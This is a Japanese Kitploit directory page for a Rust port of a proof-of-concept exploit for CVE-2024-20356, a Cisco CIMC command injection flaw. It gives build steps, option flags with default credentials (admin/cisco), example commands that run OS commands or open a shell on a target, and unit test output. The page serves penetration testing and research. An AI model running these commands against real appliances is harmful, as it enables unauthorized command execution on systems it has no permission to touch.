Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE_2024_20356 — Oxidized版の https://github.com/nettitude/CVE-2024-20356/blob/main/CVE-2024-20356.py | Kitploit
ツール/GitHubGitHub/sherllyneo/cve_2024_20356
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテストコマンド&コントロールレッドチーミング
GitHubsherllyneo/cve_2024_20356

CVE_2024_20356

Oxidized版の https://github.com/nettitude/CVE-2024-20356/blob/main/CVE-2024-20356.py

リポジトリを見る
1342年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2024-20356

これはCisco CIMCのコマンドインジェクション脆弱性であるCVE-2024-20356の概念実証です。

作成者: Aaron、SherllyNeoによる酸化(翻案)

技術的な詳細はこちらをご覧ください: https://labs.nettitude.com/blog/cve-2024-20356-jailbreaking-a-cisco-appliance-to-run-doom

インストール

root@kitploit:~
cargo build --release && cp ./target/release/CVE_2024_20356 ~/.local/bin/

使用方法

root@kitploit:~
Usage: CVE_2024_20356 [OPTIONS] --host <HOSTNAME>

Options:
  -t, --host <HOSTNAME>      Target hostname or IP address (format 10.0.0.1 or 10.0.0.2:1337)
  -u, --username <USERNAME>  Username [default: admin]
  -p, --password <PASSWORD>  Password [default: cisco]
  -a, --action <ACTION>      Action to perform [default: test] [possible values: test, cmd, shell, dance]
  -c, --cmd <CMD>            OS command to run [default: None]
  -v, --verbose              Displays more information about cimc
  -h, --help                 Print help
  -V, --version              Print version

コマンド例:

root@kitploit:~
CVE_2024_20356 --host 192.168.x.x -u admin -p your_password -v
CVE_2024_20356 --host 192.168.x.x -u admin -p your_password -c 'id'
CVE_2024_20356 --host 192.168.x.x -u admin -p your_password -a shell
CVE_2024_20356 --host 192.168.x.x -u admin -p your_password -a dance

完全な使用手順については --help 引数を使用してください。

免責事項

この概念実証はデモンストレーション目的であり、違法行為に使用すべきではありません。LRQA Nettitude は、このコードの使用または誤用によって生じた損害について一切の責任を負いません。 邪悪になるな。

テスト

私は元のコードベース (original code base) に基づいて、サーバーにアクセスせずにこれを書きました。

そのため、暗号化関数が元のコードと一致することを確認する広範な単体テストを作成しました。 モックサーバーを使用してログインメソッドが動作すること。 IPアドレスに対する引数解析が動作すること。

これらのテストを実行するには、cargo test を使用します。

root@kitploit:~
cargo test 
   Compiling CVE_2024_20356 v0.1.0 
    Finished `test` profile [unoptimized + debuginfo] target(s) in 2.27s 
     Running unittests src/main.rs (target/debug/deps/CVE_2024_20356-6d8ec478cd93405b) 
running 8 tests 
test libs::encryption::tests::pad_test ... ok 
test libs::encryption::tests::key_fnv32_test ... ok 
test libs::encryption::tests::aes_encrypt_test ... ok 
test libs::encryption::tests::derive_key_and_iv_test ... ok 
test libs::encryption::tests::hash_fnv32_test ... ok 
test libs::encryption::tests::encrypt_test ... ok 
test libs::actions::tests::login_test ... ok 
test libs::arguments::validate_hostname_test ... ok 
test result: ok. 8 passed; 0 failed; 0 ignored; 0 measured; 0 filtered out; finished in 0.02s 

プロジェクト構造

私は mod.rs を使用せず、main が lib の薄いラッパーであることを示すためにこれをここに置きました。 これにより、将来の統合テストが可能になります。

root@kitploit:~
src 
├── lib.rs 
├── libs 
│   ├── actions.rs 
│   ├── arguments.rs 
│   └── encryption.rs 
└── main.rs 
ツールをダウンロード